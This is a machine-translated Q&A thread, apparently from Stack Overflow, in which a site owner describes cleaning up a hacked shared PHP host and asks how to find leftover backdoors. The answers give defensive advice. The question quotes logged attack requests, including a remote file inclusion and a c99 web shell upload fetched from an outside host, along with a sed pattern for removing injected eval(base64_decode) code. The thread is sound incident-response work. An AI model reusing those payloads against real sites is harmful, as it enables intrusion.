12

インストール済みのアプリのポートフォリオにパッチを適用しておくことができなかったために、共有ホスティング環境が侵害されることがあります。先週は、Help Center Live と呼ばれる PHP アプリケーションの古くて使用されていないインストールが原因でした。その結果、サーバー上のすべての PHP ファイル (および、いくつかの Wordpress、Joomlas、SilverStripe をインストールしています) に、他のサイトからクローキングされたリンクを取得してページに含めるコードが追加されました。この種の攻撃の後、自分のサイトが Google から追放されたと報告する人もいます。携帯電話からサイトの 1 つにアクセスしたときに初めて気づきました。そのページには、モバイル ブラウザにリンクが含まれていました。

ログには、次のような多くの攻撃の試みが見つかりました。

62.149.18.193 - - [06/Feb/2009:14:52:45 +0000] "GET /support/module.php?module= HelpCenter//include/main.php?config [search_disp]=true&include_dir= http: // /www.portlandonnuri.com/ 2008_web//technote7/data/photo/ id2.txt??? HTTP/1.1" 200 26 "-" "libwww-perl/5.814"

私はすぐにこのアプリケーションを削除し、問題のある PHP コードをすべてのソース ファイルから削除するスクリプトを作成しました。また、このスクリプトは、感染した他のサイトへのリンクを含む HTML ファイルを作成していたこともわかりました。それらも削除しました。今、攻撃者が、私が見逃した何か他のものを残したのではないかと心配しています。それは、攻撃者が永続的にアクセスできるようにする PHP ファイルです。ファイルの日付はすべて攻撃で変更されており、問題の期間中に変更された他のファイルは見つかりませんでした。サーバーにバックドアがないことを確認するために、見落としている明らかなものはありますか?

編集: 上記のログ ファイルのスニペットに示されているような、攻撃コードを含むテキスト ファイルも検索します。何も見つかりませんでした。

別の編集:同じ状況に陥ったためにこの投稿に出くわした場合、これが役立つかもしれません. PHPソースファイルを操作する前に、これを使用してすべてのPHPソースファイルをバックアップしました。

find . -name *.php -exec tar -uvf ~/www/allphp.tar {} \;

これにより、攻撃者が行った変更を元に戻すことができます。

find . -name *.php -exec sed -i '/<?php \/\*\*\/eval(base64_decode(/d' {} \;

ロケット科学ではありませんが、私のような時折 Linux/Unix ユーザーにとっても些細なことではありません :-)。

別の編集: サーバー上のすべてのコード行を監査することはできませんが、疑わしいデータを検索することはできます。「eval」と「base64」の出現箇所をすべて検索しましたが、正当に見えないものは見つかりませんでした。次に、「.ru」の grep を実行しました (加害者はそこから来ているようです)。見よ、c99 シェルと呼ばれるものを見つけたので、すぐに削除しました。

最終編集: c99 シェルがどのようにアップロードされたかを知りました - Coppermine フォト ギャラリーの穴から。

97.74.118.95 - - [03/Feb/2009:00:31:37 +0000] "POST 
    /pics/picEditor.php?img_dir=http://xakforum.altnet.ru/tmp_upload/files
    /c99shell.txt&CURRENT_PIC[filename]=/1.php HTTP/1.1" 404 - "-" "-"
97.74.118.95 - - [03/Feb/2009:00:32:24 +0000] "
    GET /pics/albums/1.php HTTP/1.1" 200 25352 "-" "-"

ちなみに、IP アドレスは Godaddy がホストする IP です。

4

4 に答える 4

19

1.) これらのアプリに使用しているファイルのリポジトリを保持します (SVN など)。

2.) 各アプリのセキュリティ アップデートを可能な限り最新の状態に保つ (ほとんどのアプリには RSS フィードがあります)

3.) DB を定期的にバックアップする

!@#$ がファンにヒットした場合は、DB の新しいコピーからやり直して、SVN からコードを再デプロイできます。

于 2009-02-15T14:15:06.577 に答える
4

システムが構成された後は、実際には 2 つのオプションしかありません。すべてのアプリケーションのすべての行を監査するか、すべてを再インストールするかです。これらはすべてオープンソースまたは商用プログラムのように思われるため、すべてを再インストールすることをお勧めします。現在、それらのいずれかにバックドアがないことを確認するより良い方法はありません.

セキュリティの専門家は、OS に影響を与える場所に一部のコードが挿入されていないことを確認できないため、OS も完全に再インストールすることを推奨する可能性があります。

于 2009-02-15T14:25:42.200 に答える
1

毎日、すべてのドライブとフォルダを含む完全なディレクトリ リストをテキスト ファイルに作成します。

これは、過去にどのファイルが改ざんされたかを発見するのに役立ちました。

現在の状況ではあまり役に立ちませんが、将来的に役立つ可能性があります。

(サイズの偽装/日付の変更を止めるものではありませんが、気にしないものの混乱を整理するのに役立ちます)

于 2009-02-15T15:33:20.743 に答える
1

他の人が言ったことに加えて、いくつかの侵入検知システム (たとえば、オープンソースのPHPIDS ) をインストールできます。

于 2011-12-16T23:04:32.917 に答える